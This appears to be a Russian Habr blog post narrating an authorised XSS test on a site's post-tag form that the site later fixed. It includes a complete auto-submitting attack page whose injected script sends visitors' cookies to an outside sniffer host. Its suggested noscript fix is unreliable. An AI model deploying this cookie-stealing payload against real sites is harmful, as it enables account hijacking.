Pull to refresh

Взлом аккаунтов через форму и событие. «XSS», чтобы не было путаницы с каскадными таблицами стилей

Reading time3 min
Views38K
Вторую часть заголовка я взял из статьи вики. Забавно звучит.

Я хотел уже запостить котиков на страничке, нажал кнопку предпросмотр, увидел погрузку контента и мой браузер на пол секунды повис, развернув чуть ниже кнопки «добавить», «мой будущий пост». Я нажал добавить, и мне сообщили, что я должен написать минимум два тега к посту. Я набрал «милые котики» — чуть ниже снова появился блок, в котором можно было подобрать популярные теги. Я решил, что это очень хорошо и такой скрипт мне нужен для коллекции. Не долго думая, я выдрал из страницы javascript, открыл и увидел комментарии к коду на родном русском.

Было очень скучно, и я решил провести маленький взлом с разрешения администрации, для того чтобы проверить свои силы, знание языков и спецификаций. Всё исследование заняло у меня 2 дня, по 3-4 часа в день.

Я решил проверить формы и попробовать что-то сломать, увидеть ошибку или что-то еще. Они были достаточно хорошо защищены: ни намека на SQL-injection или что-то подобное.

После, проверяя наш js файл, я увидел, что несколько переменных совсем не фильтруются на стороне клиента, и можно на странице выполнить любой код, который я вставлю в форму. Первым же делом я вставил классический.

<script>alert(1)</script>


С небес опустилось окошко. Оно гласило, что все в этом мире равно 1.


Сразу скажу, что это баловство. Значит мы имеем простую xss. Не будем расстраиваться — нам этого хватит с головой.

Я вставил в форму

<script>window.eval = function(code){console.log(code)}</script>


Почитав ошибки в браузере, я вставил в форму <iframe увидел окно чужого сайта, проверив поле referral, увидел наш домен, значит, если в проверке запросов на сервер они проверяют referral на свой и не свой, мы уже можем притвориться нашим сайтом и отправить любой запрос, и нам ответят.

На странице, которую я взламывал могут находиться только авторизированные пользователи, а мы можем представляться в запросе самим сайтом, просто введя в форму любой код.

Дальше я приведу уже вредоносный код, который будет посылать нам куки пользователя, он мной кастомизирован, чтобы меня сильно не ругали. Основной кусок кода, который скрывает мои действия на странице я приводить не буду, покажу сам взлом.

1) Создаем страницу в той же кодировке, что и атакуемая.

<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
	</head>
<body>
<!-- наш код -->
</body>
</html>  


Я думаю с этим может справиться практически любой.

2) В мы должны создать форму, которая будет посылать наш запрос из браузера жертвы

	<iframe src="#страница для взлома" method="post"></iframe> 
	<form action="#страница для взлома" method="POST"> 
		<input type="hidden" name="#имя формы через которую проводиться xss." value="Вредоносный код"/> 
	</form> 


3) Шифруем наш код для будущей передачи в форму.

<?php
		$txt1 = "<script>var url='<img src=http://www1.hut.ru/testi.shtml?cookie='+document.cookie+'>';</script>";
		$txt2 = "<script>document.write(url);</script>";
		$txt11 = urlencode($txt1);
		$txt22 = urlencode($txt2);
?>


Осталось передать правильно код на другой домен. Я воспользовался функцией urlencode();. На странице описания функции так и написано: «Эта функция удобна, когда закодированная строка будет использоваться в запросе, как часть URL, также это удобный способ для передачи переменных другим страницам.»

4) Хакерский js код.




5) Ну и после загрузки страницы посылаем все данные в форму.



Ну вот и все, заливаем это все на сервер.

6) В анализ трафика можно провести любым онлайн сниффером.

Полностью код получился такой
<html>
	<head>
		<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
	</head>

	<body>
		<?php
		$txt1 = "var url='<img src=#cнифер?cookie='+document.cookie+'>';";
		$txt2 = "<script>document.write(url);</script>";
		$txt11 = urlencode($txt1);
		$txt22 = urlencode($txt2);
		?>

		<iframe src="#страница для взлома" method="post"></iframe> 
		<form action="#страница для взлома" method="POST"> 
		<input type="hidden" name="story_tags" value=" <script><?php echo $txt11 ;?></script> , <script><?php echo $txt22 ;?></script>"/> 
		</form> 

		<script> window.onload = function() {document.forms[0].submit()} </script>

	</body>
</html>  



В итоге если к нам на сервер придет человек, а в его куках будет нужный нам сайт, мы тут же их своруем. Код не претендует на обсуждение или разбор, я нахожусь в режиме обучения. Моей целью было боевое крещение по нахождению хоть одной уязвимости.
От данной атаки можно защититься взяв с предосмотром в тег
<noscript>

p.s. Мне сказали спасибо и в течении дня закрыли уязвимость.
Tags:
Hubs:
-2
Comments4

Articles